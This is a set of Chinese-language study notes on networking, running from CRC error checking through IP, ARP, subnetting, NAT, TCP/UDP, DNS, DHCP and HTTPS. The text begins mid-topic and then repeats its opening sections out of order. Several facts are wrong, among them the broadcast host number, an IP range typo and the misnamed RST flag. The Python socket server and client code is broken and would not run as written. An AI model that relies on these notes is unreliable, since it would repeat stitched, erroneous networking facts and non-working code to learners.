模二除法:通过异或来表示0或者1,例如00就是0,01就是1,异为1,或为0 选择用于校验的多项式,并且在数据后面添加多个0,添加多个0的数据,通过模二除法来除以校验的多项式的位串,得到的余数将填充到原来数据的添加多个0的位置,来得到可校验的位串 假设校验的多项式为X3+X2+1,那么就是原数据后面添加3个0(添加多少个0取决多项式的最高阶,二进制位的最高位也取决于最高阶(最高幂次)二进制位数等于最高阶+1,这里就是表示的二进制位为4位的二进制数),二进制位串位计算就是1x3+1x2+0x1+1x0,就是1101 例如原数据为1010110,CRC校验码计算就是1010110000除以1101,得到的余数0001就是CRC校验码,在将原来填充0的位置填充CRC,就是10101100001,这个比特流就是要传输的数据 接收数据进行校验通过,传输的数据除以位串,来得到余数,根据余数来进行判断校验(余数为0则表示数据正确) 数据链路层只检测数据的错误,不会进行数据的纠错,数据错了,数据链路层将会丢弃错误的数据或者重新传输数据 MAC地址(物理地址,硬件地址,每个设备都有唯一的MAC地址,用48个比特位来表示,使用16进制) MAC地址表:映射MAC地址到硬件接口上 以太网协议是数据链路层的协议,以太网协议是局域网技术,以太网协议用于完成相邻设备的数据帧传输 网络层(数据路由,数据在网络传输的路径,跨局域网,跨节点) 路由器的顶层是网络层,没有使用到传输层和应用层 网络层的ip协议,子网划分 虚拟互连网络(物理网络复杂,使用IP协议时,将无需关心物理网络的差异) 网络层利用IP协议来将使用IP协议的计算机连接起来,就好像这些计算机只需要连接一个虚拟互连网络一样,无需关心底层经过了哪些网关,路由器,ISP等等,将专注于数据的转发工作 IP协议 IP地址(v4只有32位,v6有128位),ipv4使用点分十进制表示,使用4组从0到255的数字表示ip地址,ipv6使用冒分十六进制,用8组4位的16进制表示ipv6地址 IP协议处理数据是数据链路层处理完毕的数据帧的数据,又叫IP数据报,IP数据报包含了目标的IP地址,源IP地址,IP数据,协议数据等等 IP数据报的4位版本,就是IP协议的版本,使用4位二进制表示,通信双方必须一致(否则无法通信),例如版本4(v4),版本6(v6) IP数据报的4位首部长度,是表示IP首部的长度,使用4bit表示,4位填满就是1111,就是15bit,IP数据报限制每行是4个字节(32位bits),154就是60字节,因此首部最大可以是60个字节,IP数据报最短部分有5行,54,就是20字节,20字节是IP首部长度最小的值,这个看起来可能有点乱,下面解一下为啥是这样 首部长度的单位是32bit(4字节),也就是说首部长度0001是表示IP首部有32bit,4个字节,首部长度1111就是4*15(15是二进制1111换算出来的),就是IP首部最大是60个字节 因为IP数据报最少要有5行,这5行就是最小首部(第六行是可选的),每行4个字节,4*5就是20个字节,IP首部长度最小表示得是20个字节,用4位首部长度表示就是0101(就是5,因为1就表示了4个字节) IP数据包的总长度是用16位bit表示,因此最大值为65535(2的16次方),这个总长度表示IP首部+IP数据的总长度,因此一个IP数据包最大是65535字节 当IP数据包大于MTU时,数据链路层会将IP数据包分片,以确保符合MTU IP首部还有个服务类型,用8位表示,前面3位表示优先级,后4位是标志,最后一位是保留位,前面3位,满载就是111,也就是说有7种优先级,这个优先级没有强制性,物理设备也不看 IP首部标识,占16位,是计数器,相同数据包的标识是相同的(每生产一个数据包就+1),用来数据包的分段,以确保IP数据包能通过MTU限制的数据链路,最后为了数据帧拼装成完整的IP数据包,通过标识来确定,这个标识会被复制到数据帧的标识字段中,相同标识就表示是相同的IP数据包,就可以拼装成完整的数据包了 IP首部标志,占3位,只有2位有意义,表示该IP数据包是否分片,第一位没有使用,第二位表示DF(Don’t Fragment),是否要进行分帧(DF=0时才允许分片),第三位表示MF(More Fragment),是否后面数据报(MF=0时表示该数据包后面没有了,是最后的包),因此一个允许被分片,并且不是最后一个数据包时,标志表示为001,不允许分帧的话,超过MTU限制的数据包将被丢弃,并且向数据包的源头提示信息 IP首部片偏移,占13位,表示分片后,该片在原来ip数据包中的相对位置,片偏移是用8个字节为一个偏移单位,因此每个片的长度一定是8字节的倍数 生存时间TTL,占8位,表示该数据报文在网络中的寿命,经过一个设备TTL会减1,当TTL为0时,该数据报文将被设备丢弃,确保数据报不会一直在互联网的设备中传输,而消耗网络资源 协议,占8位,表示数据报携带的数据是什么协议的,让网络层知道应该将这个数据给哪个来进行处理,常见的协议取值,1为ICMP,2为IGMP,4为IP,6为TCP,17为UDP 首部检验和,占16位,用来校验数据报的首部,每经过一个设备,都会重新计算首部检验和,确保首部不出错,出错会被设备丢弃 IP源地址,占32位,表示发送该IP数据报的机器的IP地址 IP目标地址,占32位,表示该IP数据报需要到达的目标机器的IP地址 IP协议转发过程(逐跳(hop-by-hop)) MAC地址表工作过程:网卡发送数据帧,数据帧抵达路由器,路由器会取前6字节,来匹配MAC地址表,查找该MAC地址对于的网络接口,路由器就可以通过网络接口来对外发送数据帧 IP路由表和MAC地址表工作过程类似,IP路由表有目标IP地址,以及有要到达该目标IP地址的下一个地址,发出IP数据报,通过查询IP路由表得知,需要将改数据报发送给另一个IP,才能到达就会发送给另一个IP,另一个IP的设备查询路由表,需要给另一个IP,就发送给它,一直到抵达目的地,或者TTL死亡,计算机和路由器都有路由表 IP路由表是网络设备根据路由协议生成的,windows操作系统可通过route print命令查看本计算机的路由表 可以看到有5个属性,分别是网络目标(目标的IP)和网络掩码(表示IP地址的哪个标识是当前设备所在的子网),网关(将数据发送给哪个设备,网关又叫下一跳服务器),接口(发送数据包的网络接口,和当前网关是同一个子网)以及跃点数(到达目标需要经过的跃点数量,一个跃点就是一个路由器,TCP/IP协议会选择最低跃点数的路由) 网络掩码,又叫子网掩码,和IP地址搭配使用,子网掩码也是32位地址,用来屏蔽IP地址的一部分来区别是网络地址和主机地址,RFC950定义,表示网络地址的位都为1,表示主机地址的位都为0,例如192.168.1.2的子网掩码255.255.255.0,表示192.168.1是网络地址,最后的2才是主机地址,因此得到192.168.1.2是属于192.168.1.0这个网络下的,其中主机号为2 逐跳的过程:网络层通过路由表,知道下一个发送哪个设备来转发数据,网络层将封装IP数据报给数据链路层,并且告知目标的MAC地址是什么,数据链路层将数据帧发送给目标MAC地址,当接收数据帧后,会将数据帧给网络层(这也是为啥路由器最高层是网络层的原因,路由器不需要那么高层的功能),网络层查询路由表,得知下一个目标设备,并且将数据报给数据链路层,告知目标的MAC地址是什么,数据链路层会将数据帧发送给目标设备一直到真正的目标设备为止 数据帧在每一逐跳中,都会对MAC地址发送改变,但是IP数据报的IP地址不会发生变化 ARP协议(Address Resolution Protocol,地址解析协议)和RARP协议(Reverse Address Resolution Protocol,逆地址解析协议) ARP协议会将网络层的IP32位地址解析成数据链路层的MAC48位地址,ARP缓存表表示IP地址和MAC地址的映射关系,缓存表没有缓存时,ARP会广播,其他设备会回应,ARP将记录设备的IP和MAC地址,ARP缓存表的记录具有期限性 windows操作系统可通过arp -a命令查看本机的ARP缓存表 ARP协议报文是直接对数据链路层的数据帧进行封装的 ARP协议报文由2位的类型,28位的ARP请求应答,18位的PAD填充数据组成 其中28位的ARP请求应答报文,是由2位硬件类型,2位协议类型,4位标记,6位发送方的以太网地址,4位发送方的IP地址,6位的目标以太网地址,4位的目标IP地址组成 RARP的工作和ARP是逆操作,RARP协议是将数据链路层的MAC地址解析成IP地址,利用的也是ARP缓存表,RARP报文和ARP报文是一样的类型组成的 IP地址的子网划分 IP地址分类,将32位分成网络号,主机号 A类地址:8位网络号(前一位为0),24位主机号,最小网络号为0,最大网络号为127(01111111),最小主机号为0.0.0,最大主机号为255.255.255 B类地址:16位网络号(前二位为10),16位主机号,最小网络号为128.0,最大网络号为191.255,最小主机号为0.0,最大主机号为255.255 C类地址:24位网络号(前三位为110),8位主机号,最小网络号为192.0.0,最大网络号为223.225.255,最小主机号为0,最大主机号为255 特殊的主机号,主机号为0表示当前网段,主机号为1表示是广播地址,对当前网段的全部设备发送消息用的 特殊的网络号,A类地址中网络号全为0为特殊网络,例如0.0.0.0,A类地址中网络字段后7位为1是表示回环地址,例如127.0.0.1 B类地址网络号后14位都为0,例如128.0.0.1,C类网络号后21位为0,例如192.0.0.1 上面特殊的都是不可使用或者无法分配的 区别IP地址属于那一类地址,只需要将IP地址的前8位取出来,通过判断前1位到3位来知道,也是可以看前一段IP地址,例如192.168.1.1,这个明显超过A类,B类地址的最大网络号,因此是C类地址 127.0.0.1本地回环地址(Loopback Address),这个地址不属于任何一个地址类,它表示设备的本地虚拟接口,甚至无网卡也可以ping通该地址 还有D类地址,开头前4位是1110,E类地址前4位为1111,D类和E类地址用来特殊用途的,例如广播(D类),D类和E类是不区分网络地址和主机地址的 子网划分就是在网络号主机号的基础上添加子网号,通过子网掩码来匹配网络号 A类地址的子网掩码是255.0.0.0 B类地址的子网掩码是255.255.0.0 C类地址的子网掩码是255.255.255.0 子网掩码的二进制与IP地址的二进制进行与运算(位相同,并且为1返回1,位不相同,而且为0返回0),得到的运算结果转换为点分10进制,就是该IP属于这个IP的子网 无分类编址CIDR(Classless Inter-Domain Routing,无类域间路由选择,没有ABC这些网络分类,也没有子网划分) CIDR将IP区分为网络前缀和主机号,网络前缀相同就表示是一个CIDR地址块,网络前缀不受限制 斜线记法,例如192.168.1.2/25,表示前25位为网络前缀,后7位为主机号(2的7次方,就是128,去掉最大和最小的,还有126个ip地址可以分配,而不需要像C类地址一样,直接就分配255-2个地址,造成地址浪费) 通过斜线记法占据网络前缀,主机号将可以灵活的占用,更有效分配IP地址,减少IP地址分配的浪费 CIDR的IP地址与子网掩码,进行与运算,可以得到网络号 网络地址转换NAT技术(解决IPv4地址不够用) NAT技术将IP分为内网地址(避免和外网地址重复)和外网地址(又叫公网地址) A类内网地址,10.0.0.0到10.255.255.255 B类内网地址,172.16.0.0到172.31.255.255 C类内网地址,192.168.0.0到192.168.255.255 网关以及ISP,服务器使用外网地址,内部局域网使用内网地址 NAT(Network Address Translation,网络地址转换):让多个内网设备通过一个公网地址来访问互联网的技术,通过转发端口号来实现,内部的端口号,需要访问外网时,会分配一个新的端口号和新的地址(公网)来表示这个内网端口服务,这样外网访问这个公网的端口时,将可以映射给具体内网的端口服务 例如常见的NAT穿透技术(就是内网穿透) ICMP协议(Internet Control Message Protocol,网际控制报文协议) ICMP协议可以报告错误信息和异常信息,搭配IP协议使用 ICMP协议报文封转在IP数据报的数据中,ICMP协议报文由ICMP报文首部和ICMP报文数据组成 ICMP报文首部由8位类型(ICMP报文的类型,有2类,分别是差错报告报文,询问报文),8位代码(ICMP报文具体有哪些错误),16位的校验和组成 差错报告报文的常见类型有3(终点不可达,代码0为网络不可达,1为主机不可达),5(重定向,代码0为网络重定向,1为主机重定向),11(传输超时),12(缺少IP必要参数(1)或者IP头部问题(0)) 询问报文的常见类型有0或者8(回送请求或者应答),13或者14(时间戳请求或者应答),询问报文主要查询网络是否互通, 使用了ICMP协议的应用有ping(询问报文),traceroute(发送IP数据包到目标需要走哪些路由) windows可使用tracert命令来体验traceroute的功能,tracert baidu.com 传输层(给上层应用层提供通信功能,是数据通信的最高层,传输层实现进程与进程间的通信(跨设备,跨设备)) 传输层协议:TCP协议和UDP协议 使用不同的端口表示不同的网络进程,端口使用16位表示,(0到65535),端口只对本地有意义,进行网络传输,还需要搭配IP来使用 传输层对上层应用层起到屏蔽底层的细节的作用,网络层传输点到点的传输,传输层就将点精确到端,进程的传输 UDP协议(User Datagram Protocol,用户数据报协议) 应用层传递的数据报,UDP不会对其进行合并,拆分,UDP协议数据报大小取决于上层网络层的数据报 UDP数据报分为UDP首部,UDP数据报数据(UDP数据报数据就是上层应用层提交的数据) UDP首部由16位源端口号(源机器的端口),16位目标端口号(目标机器的端口),16位UDP长度(表示UDP数据报的长度),16位UDP校验和组成,UDP首部是8字节的长度 UDP无连接(不需要建立连接,直接对目标发送数据报),不保证可靠传输数据(不会感知数据报的发送失败,丢失),面向报文传输(应用层交付的数据报文有多大,UDP就传输多大的UDP协议报文,一次发送一个报文),没有拥塞控制(无法感知网络的拥塞情况,直接交付数据报给网络就完事) TCP协议(Transmission Control Protocol,传输控制协议) TCP协议报文也是在IP数据报的数据内部的,由TCP首部和TCP数据报数据组成 TCP是面向连接(需要提前建立连接,才能通信),提供可靠传输(连接管理(3次握手,4次挥手),数据分段(),校验和(校验数据),序号(按顺序发送,收到乱序则丢弃数据),累计确认(接收数据方会发送确认应答,来表示发送的报文收到了),重发机制(定时器,一段时间内无法确认该报文接收到,发送方会重新发送该报文),流量控制(感知对方的接收情况,如果对方接收不够快,会提示对方降低发送频率(调整本地的窗口,并且告知对方窗口值是多少),避免数据报的丢失),拥塞控制(感知网络拥塞情况,能根据拥塞情况来调整数据发送的频率,调整拥塞窗口,避免数据报的丢失),通过这些来保证可靠传输),提供全双工通信,面向字节流传输 TCP字节流:TCP协议将网络层传输的数据看成字节流,会从字节流中选择长度来创建数据段(拆分),这个数据段就成了TCP数据报的数据,接收方接收数据时,还需要对数据进行排序(根据序号,合并) TCP粘包:发送的数据,在接收方被粘在一块了(排序),一个数据包的头部接着另一个数据的尾部,导致原因是接收数据时,并不会马上交付数据,而是存储在流量控制的缓存中,交付数据时就可能读取到TCP粘包 TCP首部由16位源端口,16位目标端口,32位序号(传输的字节都有唯一序号,表示数据报的数据的第一个字节的序号),32位确认号(表示前面多少个数据收到了,如果有下一个数据请发送给我,例如ack=11,表示前面10个数据已经收到,可以发送第11个数据了,表示期待收到下一个字节序号是什么,传输下一个数据报的数据取决于这个,序号+当前数据长度的和就是下一个数据发送的起点序号),4位数据偏移(首部长度,最大长度1111,就是15,表示有15行,每行4字节,最大60个字节,单位为4字节,长度是20(最少20字节)到60字节之间,表示真实数据距离首部有多长),保留字段,6位的TCP标记(有6位不同的控制位,分别为URG(Urgent,紧急位,URG=1,表示该数据是紧急数据,接收端会更优先获取该数据),ACK(Acknowledgenent,确认位,ACK=1时确认号才生效),PSH(Push,推送位,PSH=1时表示尽快将该数据交付应用层,不需要等缓存填满交付),PST(Reset,重置位,RST=1时通知重新建立TCP连接),SYN(Synchronization,同步位,SYN=1,ACK=0时表示需要连接建立请求,ACK=1时表示连接请求报文),FIN(Finish,终止位,FIN=1时,表示数据发送完成,开始断开连接操作)),16位窗口(表示本地可以接收的数据最大多少,字节为单位,流量控制的基础,可变),16位校验和(差错控制,发送方计算全部数据的校验和,接收方也计算校验和,当接收方的校验和和发送方一致时,数据发送正确),紧急指针(搭配URG控制位使用,指定紧急数据在报文的位置),可选的TCP选项(最大40字节),以及填充(填充32位的整数倍)组成 TCP首部除了填充,TCP选项外,剩余是固定20个字节的长度的 可靠传输协议:停止等待协议(发送方发送数据,只有当接收方响应确认后,再发送另一个数据,停止是发送方的停止发送另一个数据,等待是接收方等待数据的传输,获取到了响应一个确认,如果接收方在一段时间内没有响应确认消息,发送方会重发该数据给接收方(超时重传,超时定时器)),连续ARQ协议(连续发送多个报文,批量发送,通过滑动窗口,来确认发送多少个报文,当报文确认号到达,将移动窗口,让其可以发送后面的报文,累计确认) TCP可靠传输基于连续ARQ协议,滑动窗口是以字节为单位,窗口首个字节就是确认号(期望下一个发送该字节),发送字节的长度等于确认号+窗口大小,移动窗口的前提是已经接收到确认了,可用窗口等于窗口长度-已发送未确认的,如果窗口首个字节长时间没有确认,将重新传输该窗口的全部字节(哪怕已经接收到) 因为重传窗口的全部字节效率低,因此有选择重传,可以指定重传的字节,每个字节都有32位序号,提供序号就可以选择性重传,选择重传的数据存储在TCP选项内部,因为TCP首部最大60字节,因此TCP选项最大40字节,也就是10个序号(一个序号4字节),能存储的序号太小,因此实质上存储的是重传的字节边界,重传开头字节到结尾字节,就是2个协号表达一段需要重传的字节,这会增加了重传字节的数量,而不是每次只能重传10个字节,而是能重传数百个,数万个字节,因为丢失字节的数量是非常巨大的,要么没有问题,一出问题就是字节丢失很多 流量控制(提示发送方的发送数据的频率不要太快(避免接收方处理不及时,而导致数据丢失),通过限制滑动窗口的大小来实现,窗口指明发送的数据量是多少) 发送方发送数据时携带SEQ序号,表示该报文的序列号,接收方进行响应时,会返回ACK确认号(表明接收到哪个报文了),如果想提示发送方的窗口要设置多大合适,还可以响应一个RWND来表示发送方应该设置窗口大小为这个 ACK=101,RWND = 1000,将表示下一个发送序号为101的报文,并且窗口为1000,也就是说可以一次传输101到1100之间的报文 通过窗口大小来通知对方的发送速率,来做到流量控制,超时重传只针对数据的,对于响应消息是不会触发重传的,如果窗口控制的消息丢失了,将可能导致死锁(如果之前设置RWND为0的话,需要等待响应调整窗口,窗口消息丢失,接收方和发送方都在等待对方的回应) 坚持定时器:当接收到RWND为0的消息时,启动坚持定时器,坚持定时器将每隔一段时间发送窗口探测报文,询问接收方是否有调整窗口的大小的操作,避免因为窗口消息的丢失而死锁的情况发送 拥塞控制(硬件设备传输速率不同或者网络设备故障,因此存在网络拥塞的情况,例如报文超时,这个也是被认为网络拥塞了) 拥塞控制算法:慢启动算法(从小到大逐渐增加发送量,当发送的报文接收到了,将增加发送量,逐渐试探网络是否拥塞了,会指数增长发送量,直到慢启动阈值(ssthresh)),拥塞避免算法(当慢启动算法达到慢启动阈值时启动,控制拥塞窗口,会试探扩大拥塞窗口(直线增长),直到发送网络拥塞为止) 三次握手(通过TCP首部的TCP标记完成,ACK,SYN,FIN) 第一次握手:SYN=1,seq=x,seq是序号,请求建立连接方向目标发送 第二次握手:SYN=1,ACK=1,seq=y,ack=x+1,ACK确认收到请求,seq的值是数据序号,ack=x+1,是希望下次接收的数据的序号 第三次握手:ACK=1,seq=x+1,ack=y+1,ACK确认,seq是当前发送的数据序号,ack是期望下次接收的序号 发送方负责同步和建立连接,接收方负责监听和同步数据已接收响应,建立连接 三次握手的作用不只是建立连接,而且还可以同步数据的序号,以及希望下次接收数据的序号,避免失效的请求建立连接报文(超时的)而导致错误,第三次握手消息,会让接收方忽略超时的失效的建立连接报文(因为超时没有响应,会重发请求) 四次挥手(TCP连接的释放) 第一次挥手:FIN=1,seq=u,数据传输完毕,需要终止TCP连接 第二次挥手:ACK=1,seq=v,ack=u+1,被终止方依然可以发送数据,因为只是主动终止方发送完毕数据了,对方并不一定完成了,需要等待对方发送完毕 第三次挥手:FIN=1,ACK=1,seq=w,ack=u+1,被终止方发送数据完毕,也可以终止了 第四次挥手:ACK=1,seq=u+1,ack=w+1,请求终止方确认已经接收到对方可终止的请求后发送,可以释放了 等待计时器:请求终止方需要等待计时器后才进行关闭,而被终止方接收到第四次挥手消息后是立刻关闭,这个计时器又叫2MSL计时器,即报文最大生存时间的2倍(MSL,Max Segment LIfetime,最长报文段寿命,一般为2分钟) 等待计时器的作用是确保第四次挥手消息到达对方,如果对方在2MSL内没有接收到,会重新发送第三次挥手消息,确保全部报文在连接中失效,端口占用 套接字(ip和端口的组合,Socket,表示TCP连接的一端,用来数据发送和接收) TCP连接使用2个套接字来组成(C/S架构) 服务端创建套接字,绑定套接字,监听套接字,接收或者处理消息 客户端创建套接字,连接套接字,发送消息 套接字编程(使用Python完成) 服务端 import socket def server(): s = socket.socket() #创建套接字 host = '127.0.0.1' port = 8080 s.bind((host,port)) #绑定套接字 s.listen(10) #监听 addr = s.accept() #接收对方发送的消息 addr.send('hallo word') #向对方发送消息 addr.close() #关闭连接 if __name__ == '__main__': server() 客户端 import socket def client(): s = socket.socket() #创建套接字 s.connect('127.0.0.1',8080) #连接端口 print(s.recv(1000)) #接收服务端消息 s.close() #关闭连接 if __name__ == '__main__': client() 应用层(对接用户的一层,定义应用与应用之间的通信规则) 应用层常见协议:HTTP,SSH,DNS,FTP,SMTP,POP3,Telnet DNS(Domain Name System,域名系统) 使用域名来代替IP的点分十进制,通过DNS服务,可以将域名映射出源IP地址(这个源可能是源服务器,也可能是代理服务器,缓存服务器,CDN服务器) 域名由点,数字,字母组成,这个字母不区分大小写,点分割不同域(这里的域主要分顶级域,二级域,三级域) 例如:blog.xiaochenabc123.test.com,.com就是顶级域,xiaochenabc123.test.com是二级域,blog.xiaochenabc123.test.com是三级域 顶级域分成通用顶级域和国家(地区)顶级域,例如.cn,.com,.org,.net,.gov 顶级域搭配二级域就是可以完成一个IP映射服务了 DNS服务部署在DNS服务器上(域名服务器),根域名服务器(管理所有顶级域,全世界目前只有13台),顶级域名服务器(负责顶级域的DNS解析工作),域名服务器(负责二级域的解析工作) DNS解析过程:计算机访问本地域名服务器查询,如果本地域名服务器没有缓存,则直接向根域名服务器请求,这个顶级域是属于哪个顶级域名服务器的,根域名服务器会返回对应的顶级域名服务器信息,本地域名服务器然后对顶级域名服务器查询,这个二级域名应该属于哪个域名服务器,再访问域名服务器,最后获取映射的IP 本地域名服务器决定了DNS解析的时长,一个好的本地域名服务器可以减少向根,顶级,域名服务器的请求,例如公共域名服务器,114.114.114.114,8.8.8.8,119.29.29.29,223.5.5.5,180.76.76.76 域名由 ICANN 管理全世界的域名系统工作 DNS也会被缓存到本地计算机内,浏览器缓存,操作系统缓存,因此实质上是先访问浏览器缓存,没有再访问操作系统缓存,再然后才到本地域名服务器 DHCP协议(Dynamic Host Configuration Protocol,动态主机设置协议) DHCP协议是局域网协议,调用UDP协议的应用层协议,提供即插即用联网服务(不需要手动设置IP,而是使用DHCP协议提供的服务,动态设置IP) DHCP协议提供的是临时IP,具有租期性(过期了会回收,当然也可以续租),提供DHCP协议服务的是DHCP服务器,该服务器通过监听默认端口67,计算机通过UDP协议进行广播DHCP发现报文,因为当前计算机还没有分配IP,会通过设置ip的位全为1,就是255.255.255.255为UDP协议报文的ip,表示这个报文是广播报文,DHCP服务器接收到发现报文后发出DHCP提供报文,计算机接收DHCP提供报文,知晓该网络提供DHCP服务,计算机会向DHCP服务器发送DHCP请求报文,DHCP接收请求并且回应,提供IP地址 HTTP协议(HyperText Transfer Protocol,超文本传输协议) HTTP协议是调用TCP协议的应用层协议,基于TCP的数据可靠性传输 服务端处理过程:接受客户端TCP连接,接收请求报文(HTTP请求方法有很多种,常见的有GET,POST,DELETE,UPDATE,PUT等等),处理请求,访问资源,生成响应报文,发送响应报文给客户端 请求报文由请求方法,请求地址,HTTP版本,请求头,请求内容组成 响应报文由HTTP版本,响应状态码,状态解释,响应头,响应内容组成 HTTPS是在HTTP协议的基础上使用了SSL(Secure Sockets Layer,安全套接层),数字证书加密通信,SSL证书由可信任组织(CA机构)颁发给所有人的,CA机构颁发的证书就叫CA证书,CA证书有很多种,SSL证书是CA证书的一种,数字证书主要由证书序列号,签名算法,有效期,所有人名称,所有人公开密钥组成 SSL提供了数据加密传输,数据不可篡改等功能,应用层的数据交付给传输层会经过SSL的加密传输 先进行443端口的TCP连接,SSL安全握手,完成安全握手后就可以对数据进行加密解密 SSL安全握手的过程: 客户端向服务端发送协议版本,支持的加密算法,随机数1 服务端回应,发送确定的加密算法,数字证书,随机数2 上面2次是不进行加密传输的,下面的才进行加密传输 客户端会先检查数字证书有效性,使用数字证书提供的公开密钥对随机数3进行加密,并且将加密数据发送给服务端 服务端接收到加密数据时,使用私有密钥解密这个随机数3 客户端和服务端会根据之前生成的随机数1,随机数2,随机数3和确认的加密算法生成对称密钥 客户端和服务端将使用这个对称密钥来进行加密和解密传输,这个对称密钥只有客户端和服务端知道,外人并不知道(因为随机数3是使用数字证书的公钥加密的,这个随机数3只有客户端和服务端解密后知道)
计算机网络是通用,可编程的硬件组成的,并且这些设备可互连,并且可以传输不同类型的数据 计算机网络不是只有软件概念,还有硬件设备,例如:网卡,网线,路由器等等 网络作用范围:广域网(WAN),城域网(MAN),局域网(LAN) 计算机网络发展历史 ARPANET(1969年,美国国防部创建的单个网络) 三层结构互联网(现代互联网雏形,当时主要用于连接美国学校,实验室的计算机,主干网,地区网,校园网) 多层次ISP互联网(ISP指网络服务提供商(Internet Service Provider),常见网络服务提供商有中国移动,中国电信,中国联通等等) 多层次ISP互联网,分主干ISP(主要跨国通信),地区ISP(主要局部地区通信,例如广东移动,北京电信等等) 中国创建了多个公共互联网,例如:中国电信互联网(CHINANET),中国移动互联网(CMNET),中国联通互联网(UNINET),中国教育与科研计算机网(CERNET),中国科学技术网(CSTNET)等等 计算机网络层次结构(确保数据通信顺通,识别目标计算机的状态,数据是否存在错误) 层次结构大概分3个,网络应用,数据通信,物理网络 层次细分的话,有七层,也就是OSI七层模型(OSI国际标准定义的),而且每个层都是独立的(不干预其他层),只完成不同的工作 OSI七层模型:应用层(为计算机提供服务),表示层(数据处理),会话层(管理通信会话),传输层(管理通信连接),网络层(数据路由),数据链路层(管理节点之间的数据通信,例如传输数据到另一个局域网),物理层(计算机物理设备) OSI七层模型并没有成为广泛使用的标准,而是采用TCP/IP四层模型 TCP/IP四层模型:应用层(对于OSI七层模型的应用,表示,会话,HTTP协议),传输层(OSI七层模型的传输层,TCP/UDP协议),(OSI七层模型的网络层,IP/ICMP协议)网络层,(数据链路层和物理层,ARP/RARP协议)网络接口层 计算机网络性能指标 bps=bit/s,1秒多少比特位,比特率 时延:发送时延(数据bit除以bps),排队时延(数据等待被网络设备处理的时间),处理时延(数据到达目标机器后处理需要的时间),传输时延(传输路径除以bps) 总时延 = 发送时延+排队时延+传输时延+处理时延 往返时间RTT(Route-Trip Time):数据报文在通信中来回一次的时间(可通过ping命令来查看RTT) 物理层(连接不同的物理设备,传输比特流) 物理层传输介质:双绞线(又分屏蔽和无屏蔽,区别就是增加了一层屏蔽层),同轴电缆,光纤(通过光传输,光纤内部是具有高折射率的纤芯,能折射光) 电缆使用铜作为传输介质,光纤通过光来作为传输介质 铜线中的电信号传播速度大约为2.3*10^8m/s 光纤中光信号的传播速度是2.0*10^8m/s 因此实质上电缆的传播速度比光纤快,因为光纤是利用光的反射来传输到远方的,实质光走的距离更长 但是电缆的铜在远距离的情况下,会导致衰减(主要有2个原因导致,介质损耗(通过电磁波传导,会在介质中产生电场的电荷规则排序,这会消耗能量)和导线损耗),需要通过中继器来延续信号 因此在跨市,跨城,跨省,跨国使用都是光纤(光纤的带宽比电缆好,也是一个原因),但是短距离,得益于电缆的传播速度,会更好,因此局域网内部大多使用电缆来传输(因为解析光信号,还需要个光信号调制调解器,计算机无法直接使用光纤传输的数据) 比特流:通过高低电平来表示比特流,来传输数据 信道(往一个方向传输信息的媒体,一个通信电路最少要有一个发送信道和接收信道) 信道的分类:单工通信信道(只能往一个方向通信的信道,没有反馈的信道,例如电视机的电视闭路线),半双工通信信道(可以发送和接收信息,但是不能同时发送,同时接收),全双工通信信道(可以同时发送,同时接收) 物理层会实现信道分用复用技术(提升信道的利用率) 频分复用,时分复用,波分复用,码分复用 数据链路层(封装成帧,透明传输,差错监测) 数据帧:数据链路层中数据的基本单位,数据发送方会在网络层的一段数据的前后添加特定标记,而这一段数据就是数据帧,数据接收方根据特定标记来识别数据帧,是数据链路层内部数据处理成帧 数据帧也分MAC帧(没有帧尾,因为MAC帧之间是96比特时间,帧头也是没有的,而是让物理层给MAC帧添加8bts的前导码),PPP帧(有帧头和帧尾,帧头到帧尾就是这个帧的长度) 封装成帧:数据链路层会将网络层交付的数据报文添加帧头和帧尾,让其成为帧 帧头和帧尾都是特定的控制字符(比特流),帧头(SOH):00000001,帧尾(EOT):00000100 透明传输:数据链路层对网络层提供的数据没有限制(控制字符在帧数据中,但是不会去当成数据去处理,就好像帧头和帧尾不存在一样) 字节填充(对数据内部的数据填充ESC转义字符),比特填充(零比特填充法:在每5个连续的1后面插入比特0) 数据链路层规定了帧的数据的长度限制,就是最大传输单元MTU(Maximun Transfer Unit) 以太网的MTU(MAC帧)是1500字节 路径MTU:由链路中MTU的最小值决定 差错监测:因为物理层只负责传输比特流,没有控制出错的功能,因此数据链路层提供了差错监测的功能 奇偶校验码:在发送的每个字节后加上一位,让字节中为1的数可以是奇数或者偶数,通过奇偶校验来确定数据是否出错,具体可以看https://xiaochenabc123.test.com/archives/77.html这篇文章,讲TCP的可靠性那里 奇偶校验码的缺点就是如果发生2位的出错,就无法校验出来错误 循环冗余校验码CRC(根据传输或者保存的数据来产生固定位数的校验码,校验码再附加到数据的后面) 模二除法:通过异或来表示0或者1,例如00就是0,01就是1,异为1,或为0 选择用于校验的多项式,并且在数据后面添加多个0,添加多个0的数据,通过模二除法来除以校验的多项式的位串,得到的余数将填充到原来数据的添加多个0的位置,来得到可校验的位串 假设校验的多项式为X3+X2+1,那么就是原数据后面添加3个0(添加多少个0取决多项式的最高阶,二进制位的最高位也取决于最高阶(最高幂次)二进制位数等于最高阶+1,这里就是表示的二进制位为4位的二进制数),二进制位串位计算就是1x3+1x2+0x1+1x0,就是1101 例如原数据为1010110,CRC校验码计算就是1010110000除以1101,得到的余数0001就是CRC校验码,在将原来填充0的位置填充CRC,就是10101100001,这个比特流就是要传输的数据 接收数据进行校验通过,传输的数据除以位串,来得到余数,根据余数来进行判断校验(余数为0则表示数据正确) 数据链路层只检测数据的错误,不会进行数据的纠错,数据错了,数据链路层将会丢弃错误的数据或者重新传输数据 MAC地址(物理地址,硬件地址,每个设备都有唯一的MAC地址,用48个比特位来表示,使用16进制) MAC地址表:映射MAC地址到硬件接口上 以太网协议是数据链路层的协议,以太网协议是局域网技术,以太网协议用于完成相邻设备的数据帧传输 网络层(数据路由,数据在网络传输的路径,跨局域网,跨节点) 路由器的顶层是网络层,没有使用到传输层和应用层 网络层的ip协议,子网划分 虚拟互连网络(物理网络复杂,使用IP协议时,将无需关心物理网络的差异) 网络层利用IP协议来将使用IP协议的计算机连接起来,就好像这些计算机只需要连接一个虚拟互连网络一样,无需关心底层经过了哪些网关,路由器,ISP等等,将专注于数据的转发工作 IP协议 IP地址(v4只有32位,v6有128位),ipv4使用点分十进制表示,使用4组从0到255的数字表示ip地址,ipv6使用冒分十六进制,用8组4位的16进制表示ipv6地址 IP协议处理数据是数据链路层处理完毕的数据帧的数据,又叫IP数据报,IP数据报包含了目标的IP地址,源IP地址,IP数据,协议数据等等 IP数据报的4位版本,就是IP协议的版本,使用4位二进制表示,通信双方必须一致(否则无法通信),例如版本4(v4),版本6(v6) 